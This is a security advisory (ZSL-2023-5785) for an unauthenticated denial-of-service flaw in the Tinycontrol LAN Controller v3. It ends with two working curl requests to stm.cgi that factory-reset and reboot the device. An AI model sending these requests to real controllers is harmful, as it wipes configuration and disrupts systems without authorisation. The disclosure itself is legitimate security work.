Tinycontrol LAN Controller v3 (LK3) Remote Denial Of Service Exploit


Vendor: Tinycontrol
Product web page: https://www.tinycontrol.pl
Affected version: <=1.58a, HW 3.8

Summary: Lan Controller is a very universal
device that allows you to connect many different
sensors and remotely view their readings and
remotely control various types of outputs.
It is also possible to combine both functions
into an automatic if -> this with a calendar
when -> then. The device provides a user interface
in the form of a web page. The website presents
readings of various types of sensors: temperature,
humidity, pressure, voltage, current. It also
allows you to configure the device, incl. event
setting and controlling up to 10 outputs. Thanks
to the support of many protocols, it is possible
to operate from smartphones, collect and observ
the results on the server, as well as cooperation
with other I/O systems based on TCP/IP and Modbus.

Desc: The controller suffers from an unauthenticated
remote denial of service vulnerability. An attacker
can issue direct requests to the stm.cgi page to
reboot and also reset factory settings on the device.

Tested on: lwIP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5785
Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5785.php


18.08.2023

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$ curl http://192.168.1.1:8082/stm.cgi?eeprom_reset=1 # restore default settings
$ curl http://192.168.1.1:8082/stm.cgi?lk3restart=1   # reboot controller